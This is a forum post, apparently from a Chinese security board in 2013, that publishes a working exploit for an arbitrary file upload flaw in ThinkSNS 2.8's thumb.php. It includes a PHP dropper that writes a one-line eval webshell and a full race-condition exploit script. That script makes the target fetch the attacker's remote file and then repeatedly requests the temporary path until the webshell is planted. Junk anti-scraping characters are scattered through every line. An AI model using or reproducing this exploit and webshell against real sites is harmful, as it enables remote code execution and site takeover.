找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2099|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本, H' I3 i; _% n& J! W3 v
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)* d& K0 [- u! n! M) B' X
漏洞文件+ O" [" D. f# q: `$ t4 i
存在漏洞的文件为:thumb.php
$ U2 @2 L9 r* c5 O' }& L作者:韦鲲鹏6 a! d" ~- Z4 z" o
1、        准备如下PHP文件并上传到服务器(自己的)。
' d, k0 A2 B9 X, j+ S% C; @文件内容如下:
7 @/ ]( x1 Z. {+ l3 G<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>/ u! o  J5 i' U$ D6 Y2 ?( q
2、        计算出临时的文件名:, ]) G3 ?+ }/ y$ b/ N$ }% @4 t
这里我们可以看文件的99行(刚刚是不是没注意呀!)。- d) `2 m" I3 R$ E( h; }

. d  D0 _9 C. K3、        上传临时文件。/ W! `( _+ t, ?7 H# f1 K6 b
4、        访问临时文件。+ q  c% m! p2 Q% N! t$ p; d5 X4 z
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
; S9 ~0 Z- Q5 w! o4 _7 n4 xExploit文件内容如下:(这个我就不详细解释了)
6 C' |! ^8 c9 }<?php
* [: \# @" }1 D2 O  cerror_reporting(0);
7 _- D5 Q3 A9 Q9 l) K0 aset_time_limit(0);
3 \: f0 [0 M. e# j# r8 G* Hini_set(“default_socket_timeout”, 5);
6 ?  ^5 v; E0 T4 R2 Pfunction http_send($host, $port, $headers) {
# B6 `8 |0 N+ F: m8 z$fp = fsockopen($host, $port);
! X) n3 d! m9 j2 `if (!$fp) die(‘Connection -> fail’);+ A" C0 R1 l3 M0 T5 K
fputs($fp, $headers);
( F0 O& ]/ r4 n" K% lreturn $fp;8 l$ B4 \) {2 R% I
}
3 J- q5 t4 V3 M) |) xfunction http_recv($fp) {
6 f& c: j$ a+ b' ^- b2 O9 i8 T$ret=”";
8 j9 B7 w" j0 t/ T6 ]6 B+ swhile (!feof($fp)): M; I! H$ L* ^1 G$ @8 t
$ret.= fgets($fp, 1024);/ w, x- E  H' e1 |
fclose($fp);+ i4 H- j8 M0 `* P$ u8 J* y
return $ret;
; j; _: Y, }; d}
# S! c7 e: R3 o$ w) K3 W9 L0 gprint “\n#  ThinkSns Arbitrary File Upload   #\n”;0 V& G0 C/ d9 o+ t/ ?% ^% _- m
print “# Discovered by 韦鲲鹏 #\n\n”;, ^/ ^( {6 S* [$ o3 `  ^
if ($argc < 4) {
! z0 F3 m! R: }1 @print “Usage:   php <host> <path> <romote_url>\n”;
3 A8 B6 g1 A+ G6 ]3 k# _' Yprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
' n9 [! [( |( n; odie();
. Y1 {- R  a* ^$ F/ V* I8 B}5 k2 C( H+ j* z  y
$host = $argv[1];/ z% R& ?9 l8 @4 z$ ~0 {
$path = $argv[2];* O  v% J1 y* V5 V
$url = $argv[3];
9 {8 q1 R3 o6 H# y' U2 e9 c! s, i$i=0;7 Q- Y4 J1 @* Y: }. w# N
//上传数据包
- h  Q+ \- R& }* }4 d! {7 U$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
# o* ]6 j! V1 N( t% R' n: Q$headers_up .= “Host: “.$host.”\r\n”;
5 W- G! F' D) C- K! C4 J/ z3 h$headers_up .= “Connection: close\r\n\r\n”;
0 C; u9 V# Q: @3 t5 p7 V8 a! Recho $headers_up;
7 q' a- _, l! P3 ~//临时文件访问数据包& n; @+ D3 |: E3 P' Z
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
3 F' E: u1 T, h* z! q  H& O' s& C( \7 c$headers .= “Host: “.$host.”\r\n”;
+ v9 Y1 y/ e1 N/ P) g$headers .= “Connection: close\r\n\r\n”;9 O4 N. z% j- E& ?0 Y5 C# N
echo $headers;' d  h5 o3 G( ^" j$ w1 C: r' E
while(++$i<10) {
8 m% A- r9 U4 l4 L$ nfclose(http_send($host, 80, $headers));
# h2 Z; b; n7 e% s7 x8 V7 t( n! f}
$ q5 \: N- e2 W% {fclose(http_send($host, 80, $headers_up));
+ b4 E5 ]3 n! ~& P+ ~while(++$i<50) {
; Q8 z# M6 g. Ufclose(http_send($host, 80, $headers));
/ x. ]& ^4 k( [5 u! Y( G}
. E. x2 P$ K! ^& O( B1 z$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;7 z) G6 [. l9 w* _( ~
$headers .= “Host: “.$host.”\r\n”;
% R+ l" m' M7 M  O2 G" \$headers .= “Connection: close\r\n\r\n”;; r- u- e  }* b; L" T" C
$res=http_recv(http_send($host, 80, $headers));
" F( }  A& A' J( I4 K) hif(preg_match(‘/200 OK/’,$res)) {
* W+ S- D8 ^6 u/ ^4 U3 Oprint “Success!\n\n”;, g8 T2 v: E9 }8 J( u
} else {9 ^* h* }+ ~- J+ b* n* o- c
print “Fail!\n\n”;
) \! ?! L. E, r" _7 L}0 o+ M/ M' e. Q/ W4 {# [
?>
! `2 f" |9 u0 U7 l3 p" N$ f7 F
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表